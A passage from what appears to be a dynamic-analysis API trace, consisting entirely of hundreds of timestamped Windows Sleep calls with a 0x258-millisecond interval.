(dwMilliseconds=0x258) [0174.929] Sleep (dwMilliseconds=0x258) [0174.930] Sleep (dwMilliseconds=0x258) [0174.932] Sleep (dwMilliseconds=0x258) [0174.934] Sleep (dwMilliseconds=0x258) [0174.935] Sleep (dwMilliseconds=0x258) [0174.937] Sleep (dwMilliseconds=0x258) [0174.940] Sleep (dwMilliseconds=0x258) [0174.941] Sleep (dwMilliseconds=0x258) [0174.943] Sleep (dwMilliseconds=0x258) [0174.944] Sleep (dwMilliseconds=0x258) [0174.946] Sleep (dwMilliseconds=0x258) [0174.948] Sleep (dwMilliseconds=0x258) [0174.951] Sleep (dwMilliseconds=0x258) [0174.954] Sleep (dwMilliseconds=0x258) [0174.956] Sleep (dwMilliseconds=0x258) [0174.958] Sleep (dwMilliseconds=0x258) [0174.959] Sleep (dwMilliseconds=0x258) [0174.962] Sleep (dwMilliseconds=0x258) [0174.964] Sleep (dwMilliseconds=0x258) [0174.966] Sleep (dwMilliseconds=0x258) [0174.967] Sleep (dwMilliseconds=0x258) [0174.969] Sleep (dwMilliseconds=0x258) [0174.971] Sleep (dwMilliseconds=0x258) [0175.043] Sleep (dwMilliseconds=0x258) [0175.045] Sleep (dwMilliseconds=0x258) [0175.046] Sleep (dwMilliseconds=0x258) [0175.051] Sleep (dwMilliseconds=0x258) [0175.053] Sleep (dwMilliseconds=0x258) [0175.054] Sleep (dwMilliseconds=0x258) [0175.056] Sleep (dwMilliseconds=0x258) [0175.057] Sleep (dwMilliseconds=0x258) [0175.059] Sleep (dwMilliseconds=0x258) [0175.061] Sleep (dwMilliseconds=0x258) [0175.063] Sleep (dwMilliseconds=0x258) [0175.065] Sleep (dwMilliseconds=0x258) [0175.066] Sleep (dwMilliseconds=0x258) [0175.068] Sleep (dwMilliseconds=0x258) [0175.070] Sleep (dwMilliseconds=0x258) [0175.071] Sleep (dwMilliseconds=0x258) [0175.073] Sleep (dwMilliseconds=0x258) [0175.154] Sleep (dwMilliseconds=0x258) [0175.155] Sleep (dwMilliseconds=0x258) [0175.157] Sleep (dwMilliseconds=0x258) [0175.159] Sleep (dwMilliseconds=0x258) [0175.163] Sleep (dwMilliseconds=0x258) [0175.164] Sleep (dwMilliseconds=0x258) [0175.166] Sleep (dwMilliseconds=0x258) [0175.168] Sleep (dwMilliseconds=0x258) [0175.170] Sleep (dwMilliseconds=0x258) [0175.172] Sleep (dwMilliseconds=0x258) [0175.173] Sleep (dwMilliseconds=0x258) [0175.175] Sleep (dwMilliseconds=0x258) [0175.176] Sleep (dwMilliseconds=0x258) [0175.178] Sleep (dwMilliseconds=0x258) [0175.179] Sleep (dwMilliseconds=0x258) [0175.181] Sleep (dwMilliseconds=0x258) [0175.183] Sleep (dwMilliseconds=0x258) [0175.279] Sleep (dwMilliseconds=0x258) [0175.334] Sleep (dwMilliseconds=0x258) [0175.452] Sleep (dwMilliseconds=0x258) [0175.512] Sleep (dwMilliseconds=0x258) [0175.514] Sleep (dwMilliseconds=0x258) [0175.517] Sleep (dwMilliseconds=0x258) [0175.518] Sleep (dwMilliseconds=0x258) [0175.519] Sleep (dwMilliseconds=0x258) [0175.521] Sleep (dwMilliseconds=0x258) [0175.522] Sleep (dwMilliseconds=0x258) [0175.524] Sleep (dwMilliseconds=0x258) [0175.525] Sleep (dwMilliseconds=0x258) [0175.527] Sleep (dwMilliseconds=0x258) [0175.529] Sleep (dwMilliseconds=0x258) [0175.530] Sleep (dwMilliseconds=0x258) [0175.532] Sleep (dwMilliseconds=0x258) [0175.534] Sleep (dwMilliseconds=0x258) [0175.535] Sleep (dwMilliseconds=0x258) [0175.537] Sleep (dwMilliseconds=0x258) [0175.539] Sleep (dwMilliseconds=0x258) [0175.540] Sleep (dwMilliseconds=0x258) [0175.542] Sleep (dwMilliseconds=0x258) [0175.543] Sleep (dwMilliseconds=0x258) [0175.545] Sleep (dwMilliseconds=0x258) [0175.547] Sleep (dwMilliseconds=0x258) [0175.549] Sleep (dwMilliseconds=0x258) [0175.550] Sleep (dwMilliseconds=0x258) [0175.552] Sleep (dwMilliseconds=0x258) [0175.553] Sleep (dwMilliseconds=0x258) [0175.555] Sleep (dwMilliseconds=0x258) [0175.557] Sleep (dwMilliseconds=0x258) [0175.558] Sleep (dwMilliseconds=0x258) [0175.560] Sleep (dwMilliseconds=0x258) [0175.562] Sleep (dwMilliseconds=0x258) [0175.563] Sleep (dwMilliseconds=0x258) [0175.565] Sleep (dwMilliseconds=0x258) [0175.566] Sleep (dwMilliseconds=0x258) [0175.568] Sleep (dwMilliseconds=0x258) [0175.569] Sleep (dwMilliseconds=0x258) [0175.571] Sleep (dwMilliseconds=0x258) [0175.572] Sleep (dwMilliseconds=0x258) [0175.573] Sleep (dwMilliseconds=0x258) [0175.576] Sleep (dwMilliseconds=0x258) [0175.577] Sleep (dwMilliseconds=0x258) [0175.579] Sleep (dwMilliseconds=0x258) [0175.581] Sleep (dwMilliseconds=0x258) [0175.583] Sleep (dwMilliseconds=0x258) [0175.584] Sleep (dwMilliseconds=0x258) [0175.586] Sleep (dwMilliseconds=0x258) [0175.588] Sleep (dwMilliseconds=0x258) [0175.589] Sleep (dwMilliseconds=0x258) [0175.591] Sleep (dwMilliseconds=0x258) [0175.592] Sleep (dwMilliseconds=0x258) [0175.594] Sleep (dwMilliseconds=0x258) [0175.595] Sleep (dwMilliseconds=0x258) [0175.597] Sleep (dwMilliseconds=0x258) [0175.599] Sleep (dwMilliseconds=0x258) [0175.601] Sleep (dwMilliseconds=0x258) [0175.602] Sleep (dwMilliseconds=0x258) [0175.604] Sleep (dwMilliseconds=0x258) [0175.606] Sleep (dwMilliseconds=0x258) [0175.607] Sleep (dwMilliseconds=0x258) [0175.608] Sleep (dwMilliseconds=0x258) [0175.610] Sleep (dwMilliseconds=0x258) [0175.668] Sleep (dwMilliseconds=0x258) [0175.670] Sleep (dwMilliseconds=0x258) [0175.671] Sleep (dwMilliseconds=0x258) [0175.673] Sleep (dwMilliseconds=0x258) [0175.674] Sleep (dwMilliseconds=0x258) [0175.676] Sleep (dwMilliseconds=0x258) [0175.677] Sleep (dwMilliseconds=0x258) [0175.679] Sleep (dwMilliseconds=0x258) [0175.680] Sleep (dwMilliseconds=0x258) [0175.682] Sleep (dwMilliseconds=0x258) [0175.684] Sleep (dwMilliseconds=0x258) [0175.686] Sleep (dwMilliseconds=0x258) [0175.687] Sleep (dwMilliseconds=0x258) [0175.689] Sleep (dwMilliseconds=0x258) [0175.691] Sleep (dwMilliseconds=0x258) [0175.693] Sleep (dwMilliseconds=0x258) [0175.694] Sleep (dwMilliseconds=0x258) [0175.696] Sleep (dwMilliseconds=0x258) [0175.697] Sleep (dwMilliseconds=0x258) [0175.706] Sleep (dwMilliseconds=0x258) [0175.708] Sleep (dwMilliseconds=0x258) [0175.709] Sleep (dwMilliseconds=0x258) [0175.712] Sleep (dwMilliseconds=0x258) [0175.824] Sleep (dwMilliseconds=0x258) [0175.917] Sleep (dwMilliseconds=0x258) [0175.923] Sleep (dwMilliseconds=0x258) [0175.925] Sleep (dwMilliseconds=0x258) [0175.944] Sleep (dwMilliseconds=0x258) [0175.945] Sleep (dwMilliseconds=0x258) [0175.947] Sleep (dwMilliseconds=0x258) [0176.027] Sleep (dwMilliseconds=0x258) [0176.089] Sleep (dwMilliseconds=0x258) [0176.091] Sleep (dwMilliseconds=0x258) [0176.092] Sleep (dwMilliseconds=0x258) [0176.094] Sleep (dwMilliseconds=0x258) [0176.095] Sleep (dwMilliseconds=0x258) [0176.097] Sleep (dwMilliseconds=0x258) [0176.099] Sleep (dwMilliseconds=0x258) [0176.102] Sleep (dwMilliseconds=0x258) [0176.125] Sleep (dwMilliseconds=0x258) [0176.126] Sleep (dwMilliseconds=0x258) [0176.219] Sleep (dwMilliseconds=0x258) [0176.221] Sleep (dwMilliseconds=0x258) [0176.224] Sleep (dwMilliseconds=0x258) [0176.225] Sleep (dwMilliseconds=0x258) [0176.229] Sleep (dwMilliseconds=0x258) [0176.231] Sleep (dwMilliseconds=0x258) [0176.232] Sleep (dwMilliseconds=0x258) [0176.234] Sleep (dwMilliseconds=0x258) [0176.235] Sleep (dwMilliseconds=0x258) [0176.237] Sleep (dwMilliseconds=0x258) [0176.238] Sleep (dwMilliseconds=0x258) [0176.240] Sleep (dwMilliseconds=0x258) [0176.242] Sleep (dwMilliseconds=0x258) [0176.243] Sleep (dwMilliseconds=0x258) [0176.245] Sleep (dwMilliseconds=0x258) [0176.247] Sleep (dwMilliseconds=0x258) [0176.248] Sleep (dwMilliseconds=0x258) [0176.250] Sleep (dwMilliseconds=0x258) [0176.251] Sleep (dwMilliseconds=0x258) [0176.253] Sleep (dwMilliseconds=0x258) [0176.255] Sleep (dwMilliseconds=0x258) [0176.257] Sleep (dwMilliseconds=0x258) [0176.259] Sleep (dwMilliseconds=0x258) [0176.260] Sleep (dwMilliseconds=0x258) [0176.262] Sleep (dwMilliseconds=0x258) [0176.263] Sleep (dwMilliseconds=0x258) [0176.265] Sleep (dwMilliseconds=0x258) [0176.268] Sleep (dwMilliseconds=0x258) [0176.269] Sleep (dwMilliseconds=0x258) [0176.271] Sleep (dwMilliseconds=0x258) [0176.272] Sleep (dwMilliseconds=0x258) [0176.274] Sleep (dwMilliseconds=0x258) [0176.276] Sleep (dwMilliseconds=0x258) [0176.277] Sleep (dwMilliseconds=0x258) [0176.279] Sleep (dwMilliseconds=0x258) [0176.281] Sleep (dwMilliseconds=0x258) [0176.297] Sleep (dwMilliseconds=0x258) [0176.299] Sleep (dwMilliseconds=0x258) [0176.300] Sleep (dwMilliseconds=0x258) [0176.302] Sleep (dwMilliseconds=0x258) [0176.303] Sleep (dwMilliseconds=0x258) [0176.305] Sleep (dwMilliseconds=0x258) [0176.308] Sleep (dwMilliseconds=0x258) [0176.309] Sleep (dwMilliseconds=0x258) [0176.311] Sleep (dwMilliseconds=0x258) [0176.313] Sleep (dwMilliseconds=0x258) [0176.315] Sleep (dwMilliseconds=0x258) [0176.316] Sleep (dwMilliseconds=0x258) [0176.318] Sleep (dwMilliseconds=0x258) [0176.332] Sleep (dwMilliseconds=0x258) [0176.334] Sleep (dwMilliseconds=0x258) [0176.335] Sleep (dwMilliseconds=0x258) [0176.337] Sleep (dwMilliseconds=0x258) [0176.339] Sleep (dwMilliseconds=0x258) [0176.341] Sleep (dwMilliseconds=0x258) [0176.342] Sleep (dwMilliseconds=0x258) [0176.344] Sleep (dwMilliseconds=0x258) [0176.347] Sleep (dwMilliseconds=0x258) [0176.350] Sleep (dwMilliseconds=0x258) [0176.352] Sleep (dwMilliseconds=0x258) [0176.355] Sleep (dwMilliseconds=0x258) [0176.356] Sleep (dwMilliseconds=0x258) [0176.358] Sleep (dwMilliseconds=0x258) [0176.359] Sleep (dwMilliseconds=0x258) [0176.360] Sleep (dwMilliseconds=0x258) [0176.362] Sleep (dwMilliseconds=0x258) [0176.363] Sleep (dwMilliseconds=0x258) [0176.365] Sleep (dwMilliseconds=0x258) [0176.366] Sleep (dwMilliseconds=0x258) [0176.368] Sleep (dwMilliseconds=0x258) [0176.369] Sleep (dwMilliseconds=0x258) [0176.423] Sleep (dwMilliseconds=0x258) [0176.425] Sleep (dwMilliseconds=0x258) [0176.426] Sleep (dwMilliseconds=0x258) [0176.428] Sleep (dwMilliseconds=0x258) [0176.430] Sleep (dwMilliseconds=0x258) [0176.431] Sleep (dwMilliseconds=0x258) [0176.434] Sleep (dwMilliseconds=0x258) [0176.443] Sleep (dwMilliseconds=0x258) [0176.444] Sleep (dwMilliseconds=0x258) [0176.446] Sleep (dwMilliseconds=0x258) [0176.447] Sleep (dwMilliseconds=0x258) [0176.449] Sleep (dwMilliseconds=0x258) [0176.450] Sleep (dwMilliseconds=0x258) [0176.452] Sleep (dwMilliseconds=0x258) [0176.453] Sleep (dwMilliseconds=0x258) [0176.455] Sleep (dwMilliseconds=0x258) [0176.456] Sleep (dwMilliseconds=0x258) [0176.458] Sleep (dwMilliseconds=0x258) [0176.459] Sleep (dwMilliseconds=0x258) [0176.461] Sleep (dwMilliseconds=0x258) [0176.465] Sleep (dwMilliseconds=0x258) [0176.466] Sleep (dwMilliseconds=0x258) [0176.468] Sleep (dwMilliseconds=0x258) [0176.470] Sleep (dwMilliseconds=0x258) [0176.471] Sleep (dwMilliseconds=0x258) [0176.473] Sleep (dwMilliseconds=0x258) [0176.474] Sleep (dwMilliseconds=0x258) [0176.476] Sleep (dwMilliseconds=0x258) [0176.477] Sleep (dwMilliseconds=0x258) [0176.479] Sleep (dwMilliseconds=0x258) [0176.580] Sleep (dwMilliseconds=0x258) [0176.616] Sleep (dwMilliseconds=0x258) [0176.672] Sleep (dwMilliseconds=0x258) [0176.674] Sleep (dwMilliseconds=0x258) [0176.675] Sleep (dwMilliseconds=0x258) [0176.681] Sleep (dwMilliseconds=0x258) [0176.683] Sleep (dwMilliseconds=0x258) [0176.684] Sleep (dwMilliseconds=0x258) [0176.687] Sleep (dwMilliseconds=0x258) [0176.688] Sleep (dwMilliseconds=0x258) [0176.690] Sleep (dwMilliseconds=0x258) [0176.691] Sleep (dwMilliseconds=0x258) [0176.693] Sleep (dwMilliseconds=0x258) [0176.695] Sleep (dwMilliseconds=0x258) [0176.702] Sleep (dwMilliseconds=0x258) [0176.704] Sleep (dwMilliseconds=0x258) [0176.705] Sleep (dwMilliseconds=0x258) [0176.708] Sleep (dwMilliseconds=0x258) [0176.709] Sleep (dwMilliseconds=0x258) [0176.711] Sleep (dwMilliseconds=0x258) [0176.712] Sleep (dwMilliseconds=0x258) [0176.714] Sleep (dwMilliseconds=0x258) [0176.715] Sleep (dwMilliseconds=0x258) [0176.717] Sleep (dwMilliseconds=0x258) [0176.718] Sleep (dwMilliseconds=0x258) [0176.720] Sleep (dwMilliseconds=0x258) [0176.722] Sleep (dwMilliseconds=0x258) [0176.723] Sleep (dwMilliseconds=0x258) [0176.725] Sleep (dwMilliseconds=0x258) [0176.727] Sleep (dwMilliseconds=0x258) [0176.728] Sleep (dwMilliseconds=0x258) [0176.730] Sleep (dwMilliseconds=0x258) [0176.732] Sleep (dwMilliseconds=0x258) [0176.733] Sleep (dwMilliseconds=0x258) [0176.735] Sleep (dwMilliseconds=0x258) [0176.737] Sleep (dwMilliseconds=0x258) [0176.738] Sleep (dwMilliseconds=0x258) [0176.740] Sleep (dwMilliseconds=0x258) [0176.741] Sleep (dwMilliseconds=0x258) [0176.743] Sleep (dwMilliseconds=0x258) [0176.745] Sleep (dwMilliseconds=0x258) [0176.746] Sleep (dwMilliseconds=0x258) [0176.748] Sleep (dwMilliseconds=0x258) [0176.750] Sleep (dwMilliseconds=0x258) [0176.752] Sleep (dwMilliseconds=0x258) [0176.754] Sleep (dwMilliseconds=0x258) [0176.756] Sleep (dwMilliseconds=0x258) [0176.758] Sleep (dwMilliseconds=0x258) [0176.760] Sleep (dwMilliseconds=0x258) [0176.762] Sleep (dwMilliseconds=0x258) [0176.764] Sleep (dwMilliseconds=0x258) [0176.766] Sleep (dwMilliseconds=0x258) [0176.771] Sleep (dwMilliseconds=0x258) [0176.773] Sleep (dwMilliseconds=0x258) [0176.845] Sleep (dwMilliseconds=0x258) [0176.847] Sleep (dwMilliseconds=0x258) [0176.849] Sleep (dwMilliseconds=0x258) [0176.850] Sleep (dwMilliseconds=0x258) [0176.851] Sleep (dwMilliseconds=0x258) [0176.855] Sleep (dwMilliseconds=0x258) [0176.857] Sleep (dwMilliseconds=0x258) [0176.858] Sleep (dwMilliseconds=0x258) [0176.859] Sleep (dwMilliseconds=0x258) [0176.861] Sleep (dwMilliseconds=0x258) [0176.863] Sleep (dwMilliseconds=0x258) [0176.864] Sleep (dwMilliseconds=0x258) [0176.865] Sleep (dwMilliseconds=0x258) [0176.867] Sleep (dwMilliseconds=0x258) [0176.869] Sleep (dwMilliseconds=0x258) [0176.870] Sleep (dwMilliseconds=0x258) [0176.882] Sleep (dwMilliseconds=0x258) [0176.883] Sleep (dwMilliseconds=0x258) [0176.885] Sleep (dwMilliseconds=0x258) [0176.886] Sleep (dwMilliseconds=0x258) [0176.894] Sleep (dwMilliseconds=0x258) [0176.896] Sleep (dwMilliseconds=0x258) [0176.897] Sleep (dwMilliseconds=0x258) [0176.898] Sleep (dwMilliseconds=0x258) [0176.900] Sleep (dwMilliseconds=0x258) [0176.902] Sleep (dwMilliseconds=0x258) [0176.905] Sleep (dwMilliseconds=0x258) [0176.911] Sleep (dwMilliseconds=0x258) [0176.913] Sleep (dwMilliseconds=0x258) [0176.915] Sleep (dwMilliseconds=0x258) [0176.917] Sleep (dwMilliseconds=0x258) [0177.028] Sleep (dwMilliseconds=0x258) [0177.109] Sleep (dwMilliseconds=0x258) [0177.181] Sleep (dwMilliseconds=0x258) [0177.183] Sleep (dwMilliseconds=0x258) [0177.184] Sleep (dwMilliseconds=0x258) [0177.186] Sleep (dwMilliseconds=0x258) [0177.187] Sleep (dwMilliseconds=0x258) [0177.189] Sleep (dwMilliseconds=0x258) [0177.190] Sleep (dwMilliseconds=0x258) [0177.193] Sleep (dwMilliseconds=0x258) [0177.194] Sleep (dwMilliseconds=0x258) [0177.196] Sleep (dwMilliseconds=0x258) [0177.198] Sleep (dwMilliseconds=0x258) [0177.200] Sleep (dwMilliseconds=0x258) [0177.201] Sleep (dwMilliseconds=0x258) [0177.202] Sleep (dwMilliseconds=0x258) [0177.207] Sleep (dwMilliseconds=0x258) [0177.208] Sleep (dwMilliseconds=0x258) [0177.215] Sleep (dwMilliseconds=0x258) [0177.217] Sleep (dwMilliseconds=0x258) [0177.232] Sleep (dwMilliseconds=0x258) [0177.234] Sleep (dwMilliseconds=0x258) [0177.235] Sleep (dwMilliseconds=0x258) [0177.237] Sleep (dwMilliseconds=0x258) [0177.239] Sleep (dwMilliseconds=0x258) [0177.240] Sleep (dwMilliseconds=0x258) [0177.312] Sleep (dwMilliseconds=0x258) [0177.314] Sleep (dwMilliseconds=0x258) [0177.315] Sleep (dwMilliseconds=0x258) [0177.317] Sleep (dwMilliseconds=0x258) [0177.319] Sleep (dwMilliseconds=0x258) [0177.328] Sleep (dwMilliseconds=0x258) [0177.329] Sleep (dwMilliseconds=0x258) [0177.331] Sleep (dwMilliseconds=0x258) [0177.332] Sleep (dwMilliseconds=0x258) [0177.334] Sleep (dwMilliseconds=0x258) [0177.336] Sleep (dwMilliseconds=0x258) [0177.338] Sleep (dwMilliseconds=0x258) [0177.340] Sleep (dwMilliseconds=0x258) [0177.342] Sleep (dwMilliseconds=0x258) [0177.344] Sleep (dwMilliseconds=0x258) [0177.345] Sleep (dwMilliseconds=0x258) [0177.347] Sleep (dwMilliseconds=0x258) [0177.349] Sleep (dwMilliseconds=0x258) [0177.351] Sleep (dwMilliseconds=0x258) [0177.352] Sleep (dwMilliseconds=0x258) [0177.355] Sleep (dwMilliseconds=0x258) [0177.356] Sleep (dwMilliseconds=0x258) [0177.358] Sleep (dwMilliseconds=0x258) [0177.359] Sleep (dwMilliseconds=0x258) [0177.361] Sleep (dwMilliseconds=0x258) [0177.363] Sleep (dwMilliseconds=0x258) [0177.367] Sleep (dwMilliseconds=0x258) [0177.369] Sleep (dwMilliseconds=0x258) [0177.371] Sleep (dwMilliseconds=0x258) [0177.373] Sleep (dwMilliseconds=0x258) [0177.375] Sleep (dwMilliseconds=0x258) [0177.376] Sleep (dwMilliseconds=0x258) [0177.378] Sleep (dwMilliseconds=0x258) [0177.379] Sleep (dwMilliseconds=0x258) [0177.381] Sleep (dwMilliseconds=0x258) [0177.385] Sleep (dwMilliseconds=0x258) [0177.387] Sleep (dwMilliseconds=0x258) [0177.389] Sleep (dwMilliseconds=0x258) [0177.391] Sleep (dwMilliseconds=0x258) [0177.393] Sleep (dwMilliseconds=0x258) [0177.394] Sleep (dwMilliseconds=0x258) [0177.396] Sleep (dwMilliseconds=0x258) [0177.398] Sleep (dwMilliseconds=0x258) [0177.400] Sleep (dwMilliseconds=0x258) [0177.402] Sleep (dwMilliseconds=0x258) [0177.404] Sleep (dwMilliseconds=0x258) [0177.405] Sleep (dwMilliseconds=0x258) [0177.407] Sleep (dwMilliseconds=0x258) [0177.412] Sleep (dwMilliseconds=0x258) [0177.445] Sleep (dwMilliseconds=0x258) [0177.446] Sleep (dwMilliseconds=0x258) [0177.448] Sleep (dwMilliseconds=0x258) [0177.449] Sleep (dwMilliseconds=0x258) [0177.451] Sleep (dwMilliseconds=0x258) [0177.464] Sleep (dwMilliseconds=0x258) [0177.465] Sleep (dwMilliseconds=0x258) [0177.467] Sleep (dwMilliseconds=0x258) [0177.468] Sleep (dwMilliseconds=0x258) [0177.471] Sleep (dwMilliseconds=0x258) [0177.473] Sleep (dwMilliseconds=0x258) [0177.474] Sleep (dwMilliseconds=0x258) [0177.533] Sleep (dwMilliseconds=0x258) [0177.535] Sleep (dwMilliseconds=0x258) [0177.537] Sleep (dwMilliseconds=0x258) [0177.538] Sleep (dwMilliseconds=0x258) [0177.540] Sleep (dwMilliseconds=0x258) [0177.543] Sleep (dwMilliseconds=0x258) [0177.545] Sleep (dwMilliseconds=0x258) [0177.547] Sleep (dwMilliseconds=0x258) [0177.548] Sleep (dwMilliseconds=0x258) [0177.551] Sleep (dwMilliseconds=0x258) [0177.554] Sleep (dwMilliseconds=0x258) [0177.556] Sleep (dwMilliseconds=0x258) [0177.558] Sleep (dwMilliseconds=0x258) [0177.609] Sleep (dwMilliseconds=0x258) [0177.612] Sleep (dwMilliseconds=0x258) [0177.614] Sleep (dwMilliseconds=0x258) [0177.615] Sleep (dwMilliseconds=0x258) [0177.617] Sleep (dwMilliseconds=0x258) [0177.618] Sleep (dwMilliseconds=0x258) [0177.620] Sleep (dwMilliseconds=0x258) [0177.622] Sleep (dwMilliseconds=0x258) [0177.624] Sleep (dwMilliseconds=0x258) [0177.625] Sleep (dwMilliseconds=0x258) [0177.627] Sleep (dwMilliseconds=0x258) [0177.628] Sleep (dwMilliseconds=0x258) [0177.630] Sleep (dwMilliseconds=0x258) [0177.631] Sleep (dwMilliseconds=0x258) [0177.633] Sleep (dwMilliseconds=0x258) [0177.686] Sleep (dwMilliseconds=0x258) [0177.806] Sleep (dwMilliseconds=0x258) [0177.859] Sleep (dwMilliseconds=0x258) [0177.860] Sleep (dwMilliseconds=0x258) [0177.862] Sleep (dwMilliseconds=0x258) [0177.863] Sleep (dwMilliseconds=0x258) [0177.865] Sleep (dwMilliseconds=0x258) [0177.866] Sleep (dwMilliseconds=0x258) [0177.869] Sleep (dwMilliseconds=0x258) [0177.871] Sleep (dwMilliseconds=0x258) [0177.873] Sleep (dwMilliseconds=0x258) [0177.874] Sleep (dwMilliseconds=0x258) [0177.876] Sleep (dwMilliseconds=0x258) [0177.877] Sleep (dwMilliseconds=0x258) [0177.879] Sleep (dwMilliseconds=0x258) [0177.880] Sleep (dwMilliseconds=0x258) [0177.882] Sleep (dwMilliseconds=0x258) [0177.883] Sleep (dwMilliseconds=0x258) [0177.885] Sleep (dwMilliseconds=0x258) [0177.886] Sleep (dwMilliseconds=0x258) [0177.894] Sleep (dwMilliseconds=0x258) [0177.897] Sleep (dwMilliseconds=0x258) [0177.898] Sleep (dwMilliseconds=0x258) [0177.900] Sleep (dwMilliseconds=0x258) [0177.901] Sleep (dwMilliseconds=0x258) [0177.903] Sleep (dwMilliseconds=0x258) [0177.904] Sleep (dwMilliseconds=0x258) [0177.907] Sleep (dwMilliseconds=0x258) [0177.909] Sleep (dwMilliseconds=0x258) [0177.910] Sleep (dwMilliseconds=0x258) [0177.913] Sleep (dwMilliseconds=0x258) [0177.915] Sleep (dwMilliseconds=0x258) [0177.917] Sleep (dwMilliseconds=0x258) [0177.919] Sleep (dwMilliseconds=0x258) [0177.920] Sleep (dwMilliseconds=0x258) [0177.922] Sleep (dwMilliseconds=0x258) [0177.925] Sleep (dwMilliseconds=0x258) [0177.926] Sleep (dwMilliseconds=0x258) [0177.929] Sleep (dwMilliseconds=0x258) [0177.930] Sleep (dwMilliseconds=0x258) [0177.933] Sleep (dwMilliseconds=0x258) [0177.935] Sleep (dwMilliseconds=0x258) [0177.936] Sleep (dwMilliseconds=0x258) [0177.938] Sleep (dwMilliseconds=0x258) [0177.939] Sleep (dwMilliseconds=0x258) [0177.941] Sleep (dwMilliseconds=0x258) [0177.942] Sleep (dwMilliseconds=0x258) [0177.944] Sleep (dwMilliseconds=0x258) [0177.946] Sleep (dwMilliseconds=0x258) [0177.947] Sleep (dwMilliseconds=0x258) [0177.949] Sleep (dwMilliseconds=0x258) [0177.951] Sleep (dwMilliseconds=0x258) [0177.954] Sleep (dwMilliseconds=0x258) [0177.955] Sleep (dwMilliseconds=0x258) [0177.957] Sleep (dwMilliseconds=0x258) [0177.959] Sleep (dwMilliseconds=0x258) [0178.036] Sleep (dwMilliseconds=0x258) [0178.038] Sleep (dwMilliseconds=0x258) [0178.039] Sleep (dwMilliseconds=0x258) [0178.041] Sleep (dwMilliseconds=0x258) [0178.043] Sleep (dwMilliseconds=0x258) [0178.044] Sleep (dwMilliseconds=0x258) [0178.046] Sleep (dwMilliseconds=0x258) [0178.048] Sleep (dwMilliseconds=0x258) [0178.050] Sleep (dwMilliseconds=0x258) [0178.052] Sleep (dwMilliseconds=0x258) [0178.053] Sleep (dwMilliseconds=0x258) [0178.054] Sleep (dwMilliseconds=0x258) [0178.056] Sleep (dwMilliseconds=0x258) [0178.058] Sleep (dwMilliseconds=0x258) [0178.059] Sleep (dwMilliseconds=0x258) [0178.061] Sleep (dwMilliseconds=0x258) [0178.062] Sleep (dwMilliseconds=0x258) [0178.064] Sleep (dwMilliseconds=0x258) [0178.066] Sleep (dwMilliseconds=0x258) [0178.068] Sleep (dwMilliseconds=0x258) [0178.069] Sleep (dwMilliseconds=0x258) [0178.071] Sleep (dwMilliseconds=0x258) [0178.072] Sleep (dwMilliseconds=0x258) [0178.074] Sleep (dwMilliseconds=0x258) [0178.075] Sleep (dwMilliseconds=0x258) [0178.077] Sleep (dwMilliseconds=0x258) [0178.079] Sleep (dwMilliseconds=0x258) [0178.081] Sleep (dwMilliseconds=0x258) [0178.082] Sleep (dwMilliseconds=0x258) [0178.084] Sleep (dwMilliseconds=0x258) [0178.085] Sleep (dwMilliseconds=0x258) [0178.087] Sleep (dwMilliseconds=0x258) [0178.088] Sleep (dwMilliseconds=0x258) [0178.090] Sleep (dwMilliseconds=0x258) [0178.091] Sleep (dwMilliseconds=0x258) [0178.093] Sleep (dwMilliseconds=0x258) [0178.094] Sleep (dwMilliseconds=0x258) [0178.236] Sleep (dwMilliseconds=0x258) [0178.319] Sleep (dwMilliseconds=0x258) [0178.323] Sleep (dwMilliseconds=0x258) [0178.325] Sleep (dwMilliseconds=0x258) [0178.327] Sleep (dwMilliseconds=0x258) [0178.328] Sleep (dwMilliseconds=0x258) [0178.330] Sleep (dwMilliseconds=0x258) [0178.332] Sleep (dwMilliseconds=0x258) [0178.333] Sleep (dwMilliseconds=0x258) [0178.334] Sleep (dwMilliseconds=0x258) [0178.336] Sleep (dwMilliseconds=0x258) [0178.338] Sleep (dwMilliseconds=0x258) [0178.339] Sleep (dwMilliseconds=0x258) [0178.340] Sleep (dwMilliseconds=0x258) [0178.342] Sleep (dwMilliseconds=0x258) [0178.343] Sleep (dwMilliseconds=0x258) [0178.379] Sleep (dwMilliseconds=0x258) [0178.381] Sleep (dwMilliseconds=0x258) [0178.382] Sleep (dwMilliseconds=0x258) [0178.384] Sleep (dwMilliseconds=0x258) [0178.387] Sleep (dwMilliseconds=0x258) [0178.389] Sleep (dwMilliseconds=0x258) [0178.391] Sleep (dwMilliseconds=0x258) [0178.393] Sleep (dwMilliseconds=0x258) [0178.395] Sleep (dwMilliseconds=0x258) [0178.396] Sleep (dwMilliseconds=0x258) [0178.398] Sleep (dwMilliseconds=0x258) [0178.400] Sleep (dwMilliseconds=0x258) [0178.401] Sleep (dwMilliseconds=0x258) [0178.403] Sleep (dwMilliseconds=0x258) [0178.405] Sleep (dwMilliseconds=0x258) [0178.407] Sleep (dwMilliseconds=0x258) [0178.409] Sleep (dwMilliseconds=0x258) [0178.410] Sleep (dwMilliseconds=0x258) [0178.411] Sleep (dwMilliseconds=0x258) [0178.413] Sleep (dwMilliseconds=0x258) [0178.414] Sleep (dwMilliseconds=0x258) [0178.416] Sleep (dwMilliseconds=0x258) [0178.417] Sleep (dwMilliseconds=0x258) [0178.419] Sleep (dwMilliseconds=0x258) [0178.448] Sleep (dwMilliseconds=0x258) [0178.450] Sleep (dwMilliseconds=0x258) [0178.452] Sleep (dwMilliseconds=0x258) [0178.453] Sleep (dwMilliseconds=0x258) [0178.455] Sleep (dwMilliseconds=0x258) [0178.456] Sleep (dwMilliseconds=0x258) [0178.458] Sleep (dwMilliseconds=0x258) [0178.459] Sleep (dwMilliseconds=0x258) [0178.466] Sleep (dwMilliseconds=0x258) [0178.467] Sleep (dwMilliseconds=0x258) [0178.469] Sleep (dwMilliseconds=0x258) [0178.471] Sleep (dwMilliseconds=0x258) [0178.472] Sleep (dwMilliseconds=0x258) [0178.474] Sleep (dwMilliseconds=0x258) [0178.475] Sleep (dwMilliseconds=0x258) [0178.477] Sleep (dwMilliseconds=0x258) [0178.520] Sleep (dwMilliseconds=0x258) [0178.521] Sleep (dwMilliseconds=0x258) [0178.523] Sleep (dwMilliseconds=0x258) [0178.524] Sleep (dwMilliseconds=0x258) [0178.526] Sleep (dwMilliseconds=0x258) [0178.527] Sleep (dwMilliseconds=0x258) [0178.529] Sleep (dwMilliseconds=0x258) [0178.530] Sleep (dwMilliseconds=0x258) [0178.532] Sleep (dwMilliseconds=0x258) [0178.534] Sleep (dwMilliseconds=0x258) [0178.535] Sleep (dwMilliseconds=0x258) [0178.537] Sleep (dwMilliseconds=0x258) [0178.539] 